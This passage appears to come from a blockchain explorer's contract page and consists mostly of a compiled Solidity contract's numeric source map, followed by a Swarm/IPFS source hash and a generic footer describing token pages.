:1;4685:21:1::0;4742:2;4722:18;;;4715:30;4781:34;4761:18;;;4754:62;-1:-1:-1;;;4832:18:1;;;4825:36;4878:19;;1634:73:0::1;4501:402:1::0;1634:73:0::1;1718:19;1728:8;1718:9;:19::i;:::-;1553:192:::0;:::o;3310:98::-;3368:7;3395:5;3399:1;3395;:5;:::i;:::-;3388:12;3310:98;-1:-1:-1;;;3310:98:0:o;8680:390::-;-1:-1:-1;;;;;8816:19:0;;8808:68;;;;-1:-1:-1;;;8808:68:0;;5240:2:1;8808:68:0;;;5222:21:1;5279:2;5259:18;;;5252:30;5318:34;5298:18;;;5291:62;-1:-1:-1;;;5369:18:1;;;5362:34;5413:19;;8808:68:0;5038:400:1;8808:68:0;-1:-1:-1;;;;;8895:21:0;;8887:68;;;;-1:-1:-1;;;8887:68:0;;5645:2:1;8887:68:0;;;5627:21:1;5684:2;5664:18;;;5657:30;5723:34;5703:18;;;5696:62;-1:-1:-1;;;5774:18:1;;;5767:32;5816:19;;8887:68:0;5443:398:1;8887:68:0;-1:-1:-1;;;;;8968:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9020:42;;1342:25:1;;;9020:42:0;;1315:18:1;9020:42:0;;;;;;;;8680:390;;;:::o;8056:616::-;-1:-1:-1;;;;;8188:20:0;;8180:70;;;;-1:-1:-1;;;8180:70:0;;6048:2:1;8180:70:0;;;6030:21:1;6087:2;6067:18;;;6060:30;6126:34;6106:18;;;6099:62;-1:-1:-1;;;6177:18:1;;;6170:35;6222:19;;8180:70:0;5846:401:1;8180:70:0;-1:-1:-1;;;;;8269:23:0;;8261:81;;;;-1:-1:-1;;;8261:81:0;;6454:2:1;8261:81:0;;;6436:21:1;6493:2;6473:18;;;6466:30;6532:34;6512:18;;;6505:62;-1:-1:-1;;;6583:18:1;;;6576:33;6626:19;;8261:81:0;6252:399:1;8261:81:0;-1:-1:-1;;;;;8362:25:0;;;;;;:17;:25;;;;;;;;8361:26;8353:53;;;;-1:-1:-1;;;8353:53:0;;6858:2:1;8353:53:0;;;6840:21:1;6897:2;6877:18;;;6870:30;-1:-1:-1;;;6916:18:1;;;6909:44;6970:18;;8353:53:0;6656:338:1;8353:53:0;8439:108;8475:6;8439:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8439:17:0;;;;;;:9;:17;;;;;;;:108;:21;:108::i;:::-;-1:-1:-1;;;;;8419:17:0;;;;;;;:9;:17;;;;;;:128;;;;8581:20;;;;;;;:32;;8606:6;8581:24;:32::i;:::-;-1:-1:-1;;;;;8558:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8629:35;;;;;;;;;;8657:6;1342:25:1;;1330:2;1315:18;;1196:177;3840:240:0;3960:7;4021:12;4013:6;;;;4005:29;;;;-1:-1:-1;;;4005:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4056:5:0;;;3840:240::o;1751:173::-;1807:16;1826:6;;-1:-1:-1;;;;;1843:17:0;;;-1:-1:-1;;;;;;1843:17:0;;;;;;1876:40;;1826:6;;;;;;;1876:40;;1807:16;1876:40;1796:128;1751:173;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1711:186::-;1770:6;1823:2;1811:9;1802:7;1798:23;1794:32;1791:52;;;1839:1;1836;1829:12;1791:52;1862:29;1881:9;1862:29;:::i;2091:782::-;2183:6;2191;2199;2252:2;2240:9;2231:7;2227:23;2223:32;2220:52;;;2268:1;2265;2258:12;2220:52;2308:9;2295:23;2337:18;2378:2;2370:6;2367:14;2364:34;;;2394:1;2391;2384:12;2364:34;2432:6;2421:9;2417:22;2407:32;;2477:7;2470:4;2466:2;2462:13;2458:27;2448:55;;2499:1;2496;2489:12;2448:55;2539:2;2526:16;2565:2;2557:6;2554:14;2551:34;;;2581:1;2578;2571:12;2551:34;2636:7;2629:4;2619:6;2616:1;2612:14;2608:2;2604:23;2600:34;2597:47;2594:67;;;2657:1;2654;2647:12;2594:67;2688:4;2680:13;;;;-1:-1:-1;2712:6:1;-1:-1:-1;;2753:20:1;;2740:34;2810:13;;2803:21;2793:32;;2783:60;;2839:1;2836;2829:12;2783:60;2862:5;2852:15;;;2091:782;;;;;:::o;3086:260::-;3154:6;3162;3215:2;3203:9;3194:7;3190:23;3186:32;3183:52;;;3231:1;3228;3221:12;3183:52;3254:29;3273:9;3254:29;:::i;:::-;3244:39;;3302:38;3336:2;3325:9;3321:18;3302:38;:::i;:::-;3292:48;;3086:260;;;;;:::o;3351:380::-;3430:1;3426:12;;;;3473;;;3494:61;;3548:4;3540:6;3536:17;3526:27;;3494:61;3601:2;3593:6;3590:14;3570:18;3567:38;3564:161;;3647:10;3642:3;3638:20;3635:1;3628:31;3682:4;3679:1;3672:15;3710:4;3707:1;3700:15;3564:161;;3351:380;;;:::o;3736:356::-;3938:2;3920:21;;;3957:18;;;3950:30;4016:34;4011:2;3996:18;;3989:62;4083:2;4068:18;;3736:356::o;4097:127::-;4158:10;4153:3;4149:20;4146:1;4139:31;4189:4;4186:1;4179:15;4213:4;4210:1;4203:15;4229:127;4290:10;4285:3;4281:20;4278:1;4271:31;4321:4;4318:1;4311:15;4345:4;4342:1;4335:15;4361:135;4400:3;4421:17;;;4418:43;;4441:18;;:::i;:::-;-1:-1:-1;4488:1:1;4477:13;;4361:135::o;4908:125::-;4973:9;;;4994:10;;;4991:36;;;5007:18;;:::i

Swarm Source

ipfs://c4ab4d5289c1bfa0143a5ba515fad9d2acd4642ffe502db46037ab9f73905066
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.